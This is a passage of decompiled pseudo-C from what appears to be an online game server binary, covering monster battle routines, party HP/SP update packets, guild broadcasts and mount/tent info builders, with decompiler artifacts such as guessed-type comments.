(funcsize=720)" //----- (0050A9B0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::sm_DuringBattle(void *this) { void *v1; // esi@1 int v2; // edx@1 int v3; // ecx@2 char v4; // al@6 int v5; // eax@6 unsigned __int16 v6; // ax@8 int v7; // edi@8 ListIteratorDefault arg; // [sp+4h] [bp-14h]@6 char *v9; // [sp+8h] [bp-10h]@6 int v10; // [sp+Ch] [bp-Ch]@13 int v11; // [sp+14h] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_DuringBattle"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::sm_DuringBattle"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *(_DWORD *)v1; v11 = 0; if ( (unsigned __int8)(*(int (__thiscall **)(void *))(v2 + 1384))(v1) ) { if ( *((_DWORD *)v1 + 1854) < (unsigned int)(410 * *(_DWORD *)(**((_DWORD **)v1 + 1884) + 70)) >> 10 ) { v6 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1788))(v1); v7 = (int)ShineObjectManager::som_GetObject(&shineobjmanager, v6); if ( v7 ) { if ( !(*((_BYTE *)v1 + 8824) & 4) ) { MobChat::MobChatManager::mcm_HelpReqChat(&mobchatman); *((_BYTE *)v1 + 8824) |= 4u; } ShineObjectClass::ShineMob::sm_Scream4Rescue( (#325 *)v1, v7, *(_DWORD *)(*(_DWORD *)(*((_DWORD *)v1 + 1884) + 4) + 99), *(_BYTE *)(*(_DWORD *)(*((_DWORD *)v1 + 1884) + 4) + 103)); } *((_BYTE *)v1 + 8824) &= 0xFEu; } } else { v3 = *(_DWORD *)((char *)v1 + 98); if ( v3 && (MapBlock::MapBlockInformation::mbi_IsAttackBlock( *(MapBlock::MapBlockInformation **)(v3 + 20), **(_DWORD **)((char *)v1 + 78), *(_DWORD *)(*(_DWORD *)((char *)v1 + 78) + 4)) || MapBlock::MapBlockInformation::mbi_IsMoveBlock( *(MapBlock::MapBlockInformation **)(*(_DWORD *)((char *)v1 + 98) + 20), **(_DWORD **)((char *)v1 + 78), *(_DWORD *)(*(_DWORD *)((char *)v1 + 78) + 4))) ) (*(void (__thiscall **)(void *))(*(_DWORD *)v1 + 2804))(v1); v4 = *((_BYTE *)v1 + 8824); *((_BYTE *)v1 + 8812) = *((_BYTE *)v1 + 8808) & 2; *((_BYTE *)v1 + 8824) = v4 & 0xFB; *((_DWORD *)v1 + 1892) = 0; arg.vfptr = (ListIteratorDefaultVtbl *)&ListEraser::_vftable_; v9 = (char *)v1 + 8384; LOBYTE(v11) = 1; List::l_4AllInList((List *)((char *)v1 + 8384), &arg); v5 = **((_DWORD **)v1 + 2052); LOBYTE(v11) = 0; arg.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorDefault::_vftable_; (*(void (**)(void))(v5 + 20))(); } --funcallanalizer.fca_stackpoint; v10 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_DuringBattle"); } // 50A9B0: could not find valid save-restore pair for edi // 5BD578: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); // 5BD57C: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, int handle); //----- (0050AB70) -------------------------------------------------------- #error "50AB70: undefined or illegal type '#325' (funcsize=282)" //----- (0050AF40) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineServant::so_Routine(ShineObjectClass::ShineServant *this, List *lst, unsigned __int16 handle) { ShineObjectClass::ShineServant *v3; // esi@1 unsigned int v4; // eax@4 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineServant::so_Routine"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineServant::so_Routine"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)&v3->gap0[0] + 1136))(v3) != 3 ) { if ( !(*(int (__thiscall **)(_DWORD))(*(_DWORD *)&v3->gap0[0] + 2388))(v3) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, _DWORD))(*(_DWORD *)&v3->gap0[0] + 828))(v3, 0, 1, 3); ShineObjectManager::som_FreeObject(&shineobjmanager, *(_WORD *)&v3->gap0[4], 0, 9); goto LABEL_10; } v4 = *(_DWORD *)&v3->gap0[7580]; if ( v4 && clockwatch.cw_CurrTick > v4 ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, _DWORD))(*(_DWORD *)&v3->gap0[0] + 828))(v3, 0, 1, 3); ShineObjectManager::som_FreeObject(&shineobjmanager, *(_WORD *)&v3->gap0[4], 0, 10); goto LABEL_10; } } ShineObjectClass::ShineMob::so_Routine(v3, lst, handle); if ( (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)&v3->gap0[0] + 1136))(v3) != 3 && (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)&v3->gap0[0] + 1136))(v3) ) v3->ss_ExplosionManager = (MobExplosionElement::MobExplosionBase *)(**(int (__stdcall ***)(_DWORD, _DWORD))v3->ss_ExplosionManager)( v3, *(_DWORD *)&v3->gap0[8884]); LABEL_10: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineServant::so_Routine"); return 1; } // 50AB70: using guessed type int __thiscall ShineObjectClass__ShineMob__so_Routine(_DWORD, _DWORD, _DWORD); //----- (0050B090) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineBandit::so_Routine(ShineObjectClass::ShineBandit *this, List *lst, unsigned __int16 handle) { int v3; // esi@1 char v4; // al@2 int v5; // ecx@5 char v6; // bl@8 v3 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectClass::ShineBandit::so_Routine"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineBandit::so_Routine"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *(_BYTE *)(*(_DWORD *)(v3 + 9050) + 143) == 5 ) { v4 = ShineObjectClass::ShineMob::so_Routine(v3, lst, handle); LABEL_8: --funcallanalizer.fca_stackpoint; v6 = v4; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineBandit::so_Routine"); return v6; } if ( *(_BYTE *)(v3 + 7368) & 1 ) { v4 = ShineObjectClass::ShineMob::so_Routine(v3, lst, handle); goto LABEL_8; } v5 = *(_DWORD *)(v3 + 98); if ( v5 && FieldMap::fm_IsInFieldSize(v5, *(_DWORD *)(v3 + 78)) ) { ShineObjectClass::ShineMobileObject::smo_MoveByScenario((void *)v3); v4 = ShineObjectClass::ShineMobileObject::so_Routine(v3, (int)lst, (__int16)lst); goto LABEL_8; } AssertClass::ac_AssertFail(&shineassert, "fm_IsInFieldSize : Bandit", 0); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v3 + 828))(v3, 0, 1, 3); ShineObjectManager::som_FreeObject(&shineobjmanager, *(_WORD *)(v3 + 4), 0, 6); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineBandit::so_Routine"); return 1; } // 50AB70: using guessed type int __thiscall ShineObjectClass__ShineMob__so_Routine(_DWORD, _DWORD, _DWORD); //----- (0050B1F0) -------------------------------------------------------- void __thiscall std::vector>::_Xran(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &thisa, "invalid vector subscript", 0x1Bu); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::out_of_range::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVout_of_range_std__); } // 5E86D8: using guessed type int (__thiscall *std__out_of_range___vftable_)(void *p, char); //----- (0050B260) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineAxialFlag::so_Routine(ShineObjectClass::ShineAxialFlag *this, List *lst, unsigned __int16 handle) { ShineObjectClass::ShineAxialFlag *v3; // edi@1 List *v4; // ecx@1 unsigned int v5; // esi@1 int v6; // edi@3 int v7; // ecx@4 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineAxialFlag::so_Routine"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineAxialFlag::so_Routine"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = (List *)v3->safm_Screen; v5 = 0; if ( v4 ) List::l_4AllInList( v4, (char (__thiscall *)(AbnormalStateContainer::AbstateElementInObject *, List *, unsigned __int16))Movie::Theater::t_Routine); v6 = (int)&v3->safm_vecRoutions; while ( 1 ) { v7 = *(_DWORD *)(v6 + 4); if ( !v7 ) break; if ( v5 >= (*(_DWORD *)(v6 + 8) - v7) >> 2 ) break; if ( !v7 || (*(_DWORD *)(v6 + 8) - v7) >> 2 <= v5 ) std::vector>::_Xran((std::vector > *)v6); (*(void (**)(void))(**(_DWORD **)(v7 + 4 * v5++) + 4))(); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineAxialFlag::so_Routine"); return 1; } //----- (0050B340) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_mobile_GetGuildRegnum(int this) { return *(_DWORD *)(this + 8380); } //----- (0050B350) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::PartyMemberInform::pmi_Clear(ShineObjectClass::ShinePlayer::PartyMemberInform *this) { this->pmi_LastSP = -1; this->pmi_LastHP = -1; this->pmi_ChrClass = 0; this->pmi_Level = 0; this->pmi_MaxSP = 0; this->pmi_MaxHP = 0; this->pmi_Coord.y = 0; this->pmi_Coord.x = 0; } //----- (0050B370) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_SendHPinform(void *this) { void *v1; // esi@1 int v2; // edi@1 int v3; // eax@1 char *v4; // edi@4 int v5; // eax@6 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SendHPinform"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_SendHPinform"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1556))(v1); v3 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1236))(v1) - v2; if ( v3 < 0 ) v3 = 0; if ( *((_DWORD *)v1 + 16446) != v3 ) { *((_DWORD *)v1 + 16446) = v3; v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 9230; *(_DWORD *)(v4 + 2) = v3; *((_WORD *)v4 + 3) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1932))(v1); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 8) ) { v5 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 764))(v1); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v5 + 12))(v5, v1, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_SendHPinform : Packet Too Long", 8); } (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1556))(v1); (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1236))(v1); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SendHPinform"); } //----- (0050B4A0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_SendSPinform(void *this) { void *v1; // esi@1 char *v2; // edi@2 int v3; // eax@4 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SendSPinform"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_SendSPinform"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *((_DWORD *)v1 + 16447) != (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1240))(v1) ) { *((_DWORD *)v1 + 16447) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1240))(v1); v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 9231; *(_DWORD *)(v2 + 2) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1240))(v1); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v3 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 764))(v1); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v3 + 12))(v3, v1, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_SendSPinform : Packet Too Long", 6); } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SendSPinform"); } //----- (0050B5B0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_partylogout(void *this) { void *v1; // esi@1 char *v2; // edi@1 int v3; // ebp@1 int v4; // eax@1 signed int v5; // ebx@1 int v6; // edi@2 int v7; // edi@3 int v8; // eax@8 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_partylogout"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_partylogout"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 14410; v3 = 0; v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1352))(v1); *(_DWORD *)(v2 + 2) = *(_DWORD *)v4; *(_DWORD *)(v2 + 6) = *(_DWORD *)(v4 + 4); *(_DWORD *)(v2 + 10) = *(_DWORD *)(v4 + 8); *(_DWORD *)(v2 + 14) = *(_DWORD *)(v4 + 12); v5 = 0; if ( **((_BYTE **)v1 + 22233) ) { do { v6 = *((_DWORD *)v1 + 22233) + v3; if ( *(_DWORD *)(v6 + 4) != (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 836))(v1) ) { v7 = *(_DWORD *)(v6 + 32); if ( v7 ) { if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v7 + 768))(v7) || (*(int (__thiscall **)(int))(*(_DWORD *)v7 + 836))(v7) != *(_DWORD *)(*((_DWORD *)v1 + 22233) + v3 + 4) ) { *(_DWORD *)(*((_DWORD *)v1 + 22233) + v3 + 32) = 0; } else { if ( ProtocolPacket::pp_SetPacketLen(&gpp, 18) ) { v8 = (*(int (__thiscall **)(int))(*(_DWORD *)v7 + 764))(v7); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v8 + 12))(v8, v7, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_partylogout : Packet Too Long", 18); } } } } ++v5; v3 += 32; } while ( v5 < **((_BYTE **)v1 + 22233) ); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_partylogout"); } //----- (0050B730) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_SendMyInform2PartyMember(void *this) { void *v1; // esi@1 char *v2; // edi@6 int v3; // eax@6 int v4; // eax@6 int v5; // edx@6 int v6; // eax@6 int v7; // eax@7 char *v8; // edi@11 int v9; // eax@11 int v10; // eax@11 char v11; // al@11 char v12; // al@11 int v13; // edx@11 int v14; // eax@11 int v15; // eax@11 int v16; // ecx@12 int v17; // eax@12 int v18; // ecx@12 char *v19; // edi@13 int v20; // eax@13 int v21; // eax@13 CParty::PARTY_SLOT *v22; // ST04_4@13 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SendMyInform2PartyMember"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_SendMyInform2PartyMember"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (unsigned __int16)(*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1336))(v1) != -1 && *((_DWORD *)v1 + 22233) ) { if ( (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1236))(v1) != *((_DWORD *)v1 + 22234) || (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1240))(v1) != *((_DWORD *)v1 + 22235) ) { v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 14386; v2[2] = 1; v3 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1352))(v1); *(_DWORD *)(v2 + 3) = *(_DWORD *)v3; *(_DWORD *)(v2 + 7) = *(_DWORD *)(v3 + 4); *(_DWORD *)(v2 + 11) = *(_DWORD *)(v3 + 8); *(_DWORD *)(v2 + 15) = *(_DWORD *)(v3 + 12); v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1236))(v1); *(_DWORD *)(v2 + 19) = v4; v5 = *(_DWORD *)v1; *((_DWORD *)v1 + 22234) = v4; v6 = (*(int (__thiscall **)(void *))(v5 + 1240))(v1); *(_DWORD *)(v2 + 23) = v6; *((_DWORD *)v1 + 22235) = v6; PartyManufacture::pm_Broadcast(&partymanufacture, (#434 *)v1, *((CParty::PARTY_SLOT **)v1 + 22233), &gpp, 27); } v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1160))(v1); if ( (*(int (__thiscall **)(int))(*(_DWORD *)v7 + 40))(v7) != *((_BYTE *)v1 + 88944) || (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1220))(v1) != *((_BYTE *)v1 + 88945) || (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1244))(v1) != *((_DWORD *)v1 + 22237) || (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1248))(v1) != *((_DWORD *)v1 + 22238) ) { v8 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 14387; v8[2] = 1; v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1352))(v1); *(_DWORD *)(v8 + 3) = *(_DWORD *)v9; *(_DWORD *)(v8 + 7) = *(_DWORD *)(v9 + 4); *(_DWORD *)(v8 + 11) = *(_DWORD *)(v9 + 8); *(_DWORD *)(v8 + 15) = *(_DWORD *)(v9 + 12); v10 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1160))(v1); v11 = (*(int (__thiscall **)(int))(*(_DWORD *)v10 + 40))(v10); v8[19] = v11; *((_BYTE *)v1 + 88944) = v11; v12 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1220))(v1); v8[20] = v12; v13 = *(_DWORD *)v1; *((_BYTE *)v1 + 88945) = v12; v14 = (*(int (__thiscall **)(void *))(v13 + 1244))(v1); *(_DWORD *)(v8 + 21) = v14; *((_DWORD *)v1 + 22237) = v14; v15 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1248))(v1); *(_DWORD *)(v8 + 25) = v15; *((_DWORD *)v1 + 22238) = v15; v8[29] = 1; PartyManufacture::pm_Broadcast(&partymanufacture, (#434 *)v1, *((CParty::PARTY_SLOT **)v1 + 22233), &gpp, 30); } v16 = *(_DWORD *)((char *)v1 + 78); v17 = *(_DWORD *)v16; v18 = *(_DWORD *)(v16 + 4) - *((_DWORD *)v1 + 22240); if ( (v17 - *((_DWORD *)v1 + 22239)) * (v17 - *((_DWORD *)v1 + 22239)) + v18 * v18 >= 40000 ) { v19 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 14409; v19[2] = 1; v20 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1352))(v1); *(_DWORD *)(v19 + 3) = *(_DWORD *)v20; *(_DWORD *)(v19 + 7) = *(_DWORD *)(v20 + 4); *(_DWORD *)(v19 + 11) = *(_DWORD *)(v20 + 8); *(_DWORD *)(v19 + 15) = *(_DWORD *)(v20 + 12); v21 = *(_DWORD *)((char *)v1 + 78); *(_DWORD *)(v19 + 19) = *(_DWORD *)v21; *(_DWORD *)(v19 + 23) = *(_DWORD *)(v21 + 4); *((_DWORD *)v1 + 22239) = *(_DWORD *)v21; v22 = (CParty::PARTY_SLOT *)*((_DWORD *)v1 + 22233); *((_DWORD *)v1 + 22240) = *(_DWORD *)(v21 + 4); PartyManufacture::pm_Broadcast(&partymanufacture, (#434 *)v1, v22, &gpp, 27); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SendMyInform2PartyMember"); } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SendMyInform2PartyMember"); } } //----- (0050BA20) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_SendPartyMemberInform(void *this) { void *v1; // esi@1 signed int v2; // edi@1 unsigned __int8 v3; // al@2 int v4; // ebx@6 int v5; // ebp@7 int v6; // eax@9 int v7; // edi@11 void *v8; // ebp@11 char *v9; // [sp-14h] [bp-24h]@4 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SendPartyMemberInform"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_SendPartyMemberInform"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = 0; if ( (unsigned __int16)(*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1336))(v1) == -1 ) goto LABEL_4; v3 = **((_BYTE **)v1 + 22233); if ( v3 > 1u ) { if ( v3 ) { v4 = 0; do { v5 = *((_DWORD *)v1 + 22233); if ( *(_DWORD *)(v4 + v5 + 4) == (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 836))(v1) ) break; ++v2; v4 += 32; } while ( v2 < *(_BYTE *)v5 ); } v6 = *((_DWORD *)v1 + 22233); if ( v2 == *(_BYTE *)v6 ) { (*(void (__thiscall **)(void *))(*(_DWORD *)v1 + 836))(v1); (*(void (__thiscall **)(void *))(*(_DWORD *)v1 + 1336))(v1); LABEL_20: v9 = "ShineObjectClass::ShinePlayer::sp_SendPartyMemberInform"; goto LABEL_21; } v7 = 32 * v2; v8 = *(void **)(v7 + v6 + 32); if ( v8 ) { if ( v1 == v8 ) { LABEL_16: if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v8 + 768))(v8) ) { (*(void (__thiscall **)(void *))(*(_DWORD *)v1 + 836))(v1); (*(void (__thiscall **)(void *))(*(_DWORD *)v1 + 1336))(v1); *(_DWORD *)(v7 + *((_DWORD *)v1 + 22233) + 32) = 0; } if ( (*(int (__thiscall **)(void *))(*(_DWORD *)v8 + 836))(v8) != *(_DWORD *)(v7 + *((_DWORD *)v1 + 22233) + 4) ) { (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 836))(v1); (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1336))(v1); *(_DWORD *)(v7 + *((_DWORD *)v1 + 22233) + 32) = 0; } goto LABEL_20; } (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 836))(v1); (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1336))(v1); *(_DWORD *)(v7 + *((_DWORD *)v1 + 22233) + 32) = v1; } else { (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 836))(v1); (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1336))(v1); *(_DWORD *)(v7 + *((_DWORD *)v1 + 22233) + 32) = v1; } v8 = v1; goto LABEL_16; } (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 836))(v1); (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1336))(v1); (*(void (__thiscall **)(void *, signed int))(*(_DWORD *)v1 + 1360))(v1, 65535); LABEL_4: v9 = "ShineObjectClass::ShinePlayer::sp_SendPartyMemberInform"; LABEL_21: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v9); } //----- (0050BC10) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_partymemberlogin(void *this, int member) { int v2; // esi@1 v2 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_partymemberlogin"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_partymemberlogin"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShinePlayer::sp_PartyInformInit(v2); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_partymemberlogin"); } //----- (0050BCB0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_BroadcastGuildInfo(void *this) { void *v1; // esi@1 int v2; // edx@1 char *v3; // edi@1 int v4; // ST04_4@1 int v5; // eax@1 AxialListPacketBroadcast alchat; // [sp+1Ch] [bp-18h]@1 int v7; // [sp+30h] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_BroadcastGuildInfo"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_BroadcastGuildInfo"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *(_DWORD *)v1; v7 = 0; *(_DWORD *)(*(_DWORD *)((char *)v1 + 32010) + 139) = (*(int (__thiscall **)(void *))(v2 + 1980))(v1); *(_BYTE *)(*(_DWORD *)((char *)v1 + 32010) + 144) = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 2044))(v1); v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4206; *((_WORD *)v3 + 1) = *((_WORD *)v1 + 2); *((_DWORD *)v3 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1980))(v1); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 8); v4 = *(_DWORD *)((char *)v1 + 78); LOBYTE(v7) = 1; v5 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v1, v5, v4, 0, 0, (int)&alchat, 1, 65535); LOBYTE(v7) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); --funcallanalizer.fca_stackpoint; v7 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_BroadcastGuildInfo"); } //----- (0050BDD0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::sp_MakeTentBriefInfo(void *this, int camp) { void *v2; // esi@1 int v3; // eax@1 int v4; // eax@2 char result; // al@3 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_MakeTentBriefInfo"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_MakeTentBriefInfo"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *((_DWORD *)v2 + 22268); if ( v3 && (v4 = *(_DWORD *)(v3 + 4)) != 0 ) { *(_WORD *)camp = *(_BYTE *)v4; *(_DWORD *)(camp + 2) = -1; *(_DWORD *)(camp + 6) = -1; *(_WORD *)(camp + 10) = -1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_MakeTentBriefInfo"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_MakeTentBriefInfo"); result = 0; } return result; } //----- (0050BEB0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::sp_MakeRideBriefInfo(void *this, int ride) { void *v2; // ebx@1 int v3; // eax@1 int v4; // ebx@1 int v5; // edx@1 int v6; // eax@2 PROTO_EQUIPMENT tempequip; // [sp+Ch] [bp-2Ch]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_MakeRideBriefInfo"); 